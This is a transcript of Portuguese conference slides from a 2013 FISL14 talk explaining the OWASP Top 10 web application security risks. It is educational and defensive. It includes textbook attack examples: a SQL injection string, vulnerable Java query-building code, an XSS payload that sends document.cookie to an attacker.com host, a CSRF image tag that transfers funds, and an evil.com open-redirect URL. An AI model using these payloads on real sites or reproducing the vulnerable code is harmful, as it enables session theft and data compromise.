Segurança em Aplicações Web conforme OWASP

40
Segurança em aplicações web bit.ly/owasp-fisl14 1 Segurança em Aplicações Web conforme Fabiano Castro Pereira [email protected] Apresentação disponível em http://bit.ly/owasp-fisl14

description

Palestra feita no FISL14, dia 3 de julho de 2013

Transcript of Segurança em Aplicações Web conforme OWASP

Page 1: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

1

Segurança emAplicações Webconforme

Fabiano Castro Pereira – [email protected]

Apresentação disponível em http://bit.ly/owasp-fisl14

Page 2: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

2

OWASP – Open Web Application Security Project

Comunidade aberta – www.owasp.org

Ajudar a desenvolver/comprar/manter software seguro:

Ferramentas e padrões abertos

Livros gratuitos: desenvolvimento/testes/revisão seguros

Bibliotecas e controles de segurança

Realização de eventos

Listas de e-mail

Sem pressões comerciais

Fundação OWASP

Page 3: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

3

OWASP - Projeto Top 10

Objetivo

Problemas relativamente simples são intoleráveis

Alertar sobre segurança de aplicativos web

Apresentar os riscos críticos (entenda-se $$$) mais comuns

Versões

2003 (pequenas atualizações em 2004 e 2007)

2010 (priorização feita de acordo com riscos)

2013 (versão final liberada 12 de junho)

Mobile Security Project (em desenvolvimento)

Page 4: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

4

OWASP - Projeto Top 10

Atenção!!!

OWASP Top 10 não é checklist

É apenas o começo, é preciso criar um programa amplo para implantar uma cultura de segurança nas aplicações

Think as an abuser!!! (pense como um aproveitador)

Oportunidades

Aprender com os erros dos outros

Executivos: gerenciem os riscos inerentes às aplicações

[email protected]

Page 5: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

5

Projeto Top 10 - Números

Baseado em 8 datasets de 7 empresas especializadas

4 empresas de consultoria em segurança

3 empresas que produzem ferramentas de segurança

Totalizando 500.000 registros de vulnerabilidades em

Centenas de organizações

Milhares de aplicações

Escolha do Top 10

Selecionados e priorizados via avaliação destes milhares de dados, e a partir de estimativas obtidas via consenso

Page 6: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

6

Riscos de Segurança para Aplicações

Page 7: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

7

Riscos de Segurança para Aplicações

OWASP Risk Rating Methodology – Elementos do risco

Agentes de ameaça

Depende da aplicação, cada organização deve avaliar e identificar os agentes que podem lhe oferecer ameaça

Explorabilidade: Fácil / Média / Difícil

Qual é a facilidade de se explorar a fraqueza associada a determinado risco?

Prevalência: Largamente difundida / Comum / Incomum

É comum encontrar a fraqueza associada ao risco?

Page 8: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

8

Riscos de Segurança para Aplicações

OWASP Risk Rating Methodology – Elementos do risco

Detectabilidade: Fácil / Média / Difícil

É fácil detectar a fraqueza associada ao risco?

Impactos técnicos: Grave / Moderado / Menor

Qual o impacto técnico caso a fraqueza associada a determinado risco seja explorada?

Impactos no negócio

Depende da aplicação e do negócio da organização, que deve avaliar e identificar os impactos

Page 9: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

9

A1 - Injeção

Elementos do risco

Agente de ameaça

Qualquer um que possa enviar dados não confiáveis

Explorabilidade: Fácil

Ataque realizado com texto forjado de forma específica

Praticamente qualquer fonte de dados pode ser atacada

Prevalência: Comum

Encontrado em: consultas SQL, LDAP, Xpath, ou NoSQL; comandos de SO; parsers XML, cabeçalhos SMTP, argumentos de programas, etc.

Page 10: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

10

A1 - Injeção

Elementos do risco

Detectabilidade: Média

Fácil de encontrar no código-fonte, mas difícil via teste

Ferramentas tipo Scanners e fuzzers ajudam os atacantes

Impacto: Grave

Pode resultar em: perda ou corrupção de dados; negação de serviço; invasão total de um servidor.

Impactos no negócio

Como ficaria a reputação da empresa se todos de clientes fossem roubados, modificados ou excluídos?

Page 11: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

11

A1 - Injeção

Exemplo (SQL Injection)

Aplicação usa dados não confiáveis:String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Atacante modifica o parâmetro no browser

http://app.com/app/accountView?id=' or '1'='1

Page 12: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

12

A2 - Falha de Autenticação e de Gerenciamento de Sessão

Elementos do risco

Agente de ameaça

Qualquer um (anônimo ou possuidor de conta) que queira acessar indevidamente uma conta de usuário na aplicação

Explorabilidade: Média

Ataque utiliza falhas nas funções (contas expostas, senhas, ID de sessão) para se passar por determinado usuário

Prevalência: Largamente difundida

Encontrado em sistemas que construíram seus próprios mecanismos de autenticação

Page 13: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

13

A2 - Falha de Autenticação e de Gerenciamento de Sessão

Elementos do risco

Detectabilidade: Média

Encontrar esta falha pode ser difícil, pois depende de uma análise da implementação específica

Impacto: Grave

O atacante pode fazer tudo que a conta atacada tem permissão para fazer

Impactos no negócio

Valor dos dados obtidos

Exposição pública da vulnerabilidade na organização

Page 14: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

14

A2 - Falha de Autenticação e de Gerenciamento de Sessão

Exemplo

http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii

Se o link for enviado para alguém, a sessão completa do estará indo junto, dando acesso a dados sensíveis

Page 15: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

15

A3 - Injeção de scripts via outros sites(Cross-Site Scripting - XSS)

Elementos do risco

Agente de ameaça

Qualquer um que possa enviar dados não confiáveis

Explorabilidade: Média

Ataque realizado com texto forjado de forma específica

Praticamente qualquer fonte de dados pode ser atacada

Prevalência: Muito largamente difundida

Ocorre quando se exibe em uma página dados fornecidos pelo usuário, sem que se faça o correto tratamento

Page 16: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

16

A3 - Injeção de scripts via outros sites(Cross-Site Scripting - XSS)

Elementos do risco

Detectabilidade: Fácil

Falha pode ser encontrada via análise de código, ou via testes

Impacto: Moderado

Ataque pode executar scripts no navegador para: obter sessões, manchar sites, instalar malware no navegador, etc.

Impactos no negócio

Valor dos dados obtidos

Exposição pública da vulnerabilidade na organização

Page 17: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

17

A3 - Injeção de scripts via outros sites(Cross-Site Scripting - XSS)

Exemplo

Aplicação usa dados não validados para construir a página:(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";

Atacante modifica o parâmetro CC:'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

Page 18: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

18

A4 - Referência direta e insegura para objeto

Elementos do risco

Agente de ameaça

Usuários que tem acesso parcial a dados do sistema

Explorabilidade: Fácil

Basta alterar um parâmetro que faça referência direta a um objeto do sistema

Prevalência: Comum

Aplicações web geralmente usam nomes os identificadores para fazer referência aos objetos

Falham em verificar a autorização do acesso

Page 19: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

19

A4 - Referência direta e insegura para objeto

Elementos do risco

Detectabilidade: Fácil

Falha pode ser encontrada via análise de código, ou via testes

Impacto: Moderado

Comprometimento dos dados acessados pela referência insegura, exceto se não houver como predizer os valores

Impactos no negócio

Valor dos dados obtidos

Exposição pública da vulnerabilidade na organização

Page 20: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

20

A4 - Referência direta e insegura para objeto

Exemplo

Aplicação usa dados não validados para construir a página:String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( );

Atacante modifica o parâmetro acct:http://example.com/app/accountInfo?acct=notmyacct

Page 21: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

21

A5 - Configurações mal feitas de segurança

Elementos do risco

Agente de ameaça

Atacantes anônimos, autenticados, ou internos

Explorabilidade: Fácil

Contas padrão, páginas sem uso, falhas sem patch, arquivos e diretórios desprotegidos, etc.

Prevalência: Comum

Pode ocorrer em vários níveis: plataforma, servidor web ou aplicação, BD, framework, código customizado

Page 22: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

22

A5 - Configurações mal feitas de segurança

Elementos do risco

Detectabilidade: Fácil

Podem ser encontradas com scanners automatizados

Impacto: Moderado

Acesso a dados e funcionalidades não autorizadas

Pode resultar em comprometimento total do sistema

Impactos no negócio

Dados roubados ou modificados

Recuperação pode ser muito custosa

Page 23: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

23

A5 - Configurações mal feitas de segurança

Exemplos

Console administrativo do servidor de aplicação deixado com usuário e senha padrão

Servidor web com listagem de diretório ativada desnecessariamente

Exibição de stack traces no servidor de aplicação

Servidor de aplicação mantido com aplicativos de exemplo

Page 24: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

24

A6 - Exposição de dados sensíveis

Elementos do risco

Agente de ameaça

Qualquer um com interesse nos dados, estejam eles no servidor, sendo transmitidos, ou no navegador

Explorabilidade: Difícil

Atacantes não tentam quebrar criptografia, mas roubar chaves, ou obter os dados diretamente do servidor

Prevalência: Incomum

Ocorrências: falta de criptografia, chaves fracas, chaves mal gerenciadas, algoritmos de segurança obsoletos

Page 25: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

25

A6 - Exposição de dados sensíveis

Elementos do risco

Detectabilidade: Média

Navegador: falha fácil de detectar, não de explorar (larga escala)

Falhas no servidor: difíceis de detectar devido ao acesso limitado

Impacto: Grave

Acesso a dados sensíveis: registros médicos, credenciais, dados pessoais, cartões de crédito, etc.

Impactos no negócio

Quais são as penalidades legais aplicáveis à organização por ter exposto estes dados (mesmo involuntariamente)?

Page 26: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

26

A6 - Exposição de dados sensíveis

Exemplos de ações inadequadas

Usar criptografia automática do BD

Armazenamento feito de forma segura

Mas a leitura está sujeita à injeção de SQL

Esquecer de utilizar SSL para comunicação

Esquecer de “salgar” as senhas dos usuários

Salted password hashes

Page 27: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

27

A7 - Ausência de controle de acesso no nível de função

Elementos do risco

Agente de ameaça

Qualquer um com interesse nos dados

Explorabilidade: Fácil

Alterar URL ou parâmetro que dê acesso à funções privadas (atacante anônimo) ou privilegiadas (atacante autenticado)

Prevalência: Comum

Geralmente falta controle de acesso, e quando existe, está mal configurado, ou se esqueceu de colocá-lo no código

Page 28: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

28

A7 - Ausência de controle de acesso no nível de função

Elementos do risco

Detectabilidade: Média

A detecção é fácil, a parte mais difícil é identificar todas as possíveis páginas (URLs) e funções atacáveis

Impacto: Moderado

Acesso a funções não autorizadas, principalmente se forem funções administrativas

Impactos no negócio

Valor dos dados obtidos

Exposição pública da vulnerabilidade na organização

Page 29: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

29

A7 - Ausência de controle de acesso no nível de função

Exemplos

Função para usuário comum

http://example.com/app/getappInfo

Função para administradores

http://example.com/app/admin_getappInfo

Se não houver o controle de acesso, as funções administrativas serão acessadas indevidamente

Page 30: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

30

A8 - Requisições forjadas via outros sites(Cross-Site Request Forgery - CSRF)

Elementos do risco

Agente de ameaça

Alguém que deseja forçar um usuário da aplicação a realizar determinada ação que beneficie o atacante

Explorabilidade: Média

Atacante forja a requisição e engana o usuário, fazendo-o enviá-la para a aplicação à partir de outro local

Prevalência: Comum

Sites que o atacante pode inferir os dados necessários

Navegadores enviam os cookies de sessão automaticamente

Page 31: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

31

A8 - Requisições forjadas via outros sites(Cross-Site Request Forgery - CSRF)

Elementos do risco

Detectabilidade: Fácil

A detecção é fácil, podendo ser feita tanto via testes de intrusão, quanto via análise de código

Impacto: Moderado

Pode resultar em: alteração de contas, realização de compras, e qualquer outra função existente na aplicação

Impactos no negócio

Imagine se não houver como ter certeza das ações do usuário

Usuários reclamando de operações que eles não realizaram

Page 32: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

32

A8 - Requisições forjadas via outros sites(Cross-Site Request Forgery - CSRF)

Exemplos

Funcionalidade normal disponível na aplicação:

http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243

Requisição forjada pelo atacante:

<img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />

Page 33: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

33

A9 - Uso de componentes com vulnerabilidades conhecidas

Elementos do risco

Agente de ameaça

Interessados especificamente em determinada aplicação, dispostos a gastar tempo investigando as possibilidades

Explorabilidade: Média

Atacante usa procedimento manual, ou ferramentas de scan automático, para então customizar seu exploit

Prevalência: Largamente difundida

Muitos desenvolvedores não atualizam componentes, e às vezes nem sabem quais que são utilizados

Page 34: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

34

A9 - Uso de componentes com vulnerabilidades conhecidas

Elementos do risco

Detectabilidade: Difícil

A detecção é difícil, pois envolve análise minuciosa

Dependência entre componentes só piora as coisas

Impacto: Moderado

Pode servir de ponto de entrada para as outras fraquezas

Impacto pode ir de zero até o comprometimento total

Impactos no negócio

Será de acordo com a fraqueza explorada

Page 35: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

35

A9 - Uso de componentes com vulnerabilidades conhecidas

Exemplos (com 22 milhões de downloads em 2011)

Apache CXF Authentication Bypass (CVE-2012-3451)

Framework de serviços web

Não fornecia token de identidade, permitindo a atacantes executar qualquer serviço com total permissão

Spring Remote Code Execution (Infosecurity Magazine)

Problemas na implementação de Expression Language (EL)

Permitia execução de código arbitrário, chegando a comprometer completamente o servidor

Page 36: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

36

A10 - Redirecionamentos e encaminhamentos não validados

Elementos do risco

Agente de ameaça

Alguém que deseja forçar um usuário da aplicação a realizar determinada ação que beneficie o atacante

Explorabilidade: Média

Atacante cria um link válido, mas direto, sem antes passar pelo redirecionamento ou encaminhamento necessário

Prevalência: Incomum

Destinos definidos via parâmetro sem validação

Page 37: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

37

A10 - Redirecionamentos e encaminhamentos não validados

Elementos do risco

Detectabilidade: Fácil

Redirecionamentos não validados são fáceis de se detectar, porém os encaminhamentos são mais difíceis

Impacto: Moderado

Atacante pode: instalar malware, obter senhas ou outras informações sensíveis, burlar controle de acesso

Impactos no negócio

Perda da confiança dos usuários

O que aconteceria se atacantes acessassem dados internos?

Page 38: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

38

A10 - Redirecionamentos e encaminhamentos não validados

Exemplos

Redirecionamento malicioso

http://www.example.com/redirect.jsp?url=evil.com

Encaminhamento malicioso

http://www.example.com/boring.jsp?fwd=admin.jsp

Page 39: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

39

Tem mais coisa no Top 10

Ajuda

Como verificar se minha aplicação é vulnerável?

Como posso prevenir a ocorrência dos riscos?

Referências para mais informações

O que vem depois

Para desenvolvedores

Para verificadores (vai além de testes)

Para organizações

Page 40: Segurança em Aplicações Web conforme OWASP

Segurança em aplicações webbit.ly/owasp-fisl14

40

Fabiano Castro Pereira – [email protected]

Apresentação disponível em http://bit.ly/owasp-fisl14

Perguntas?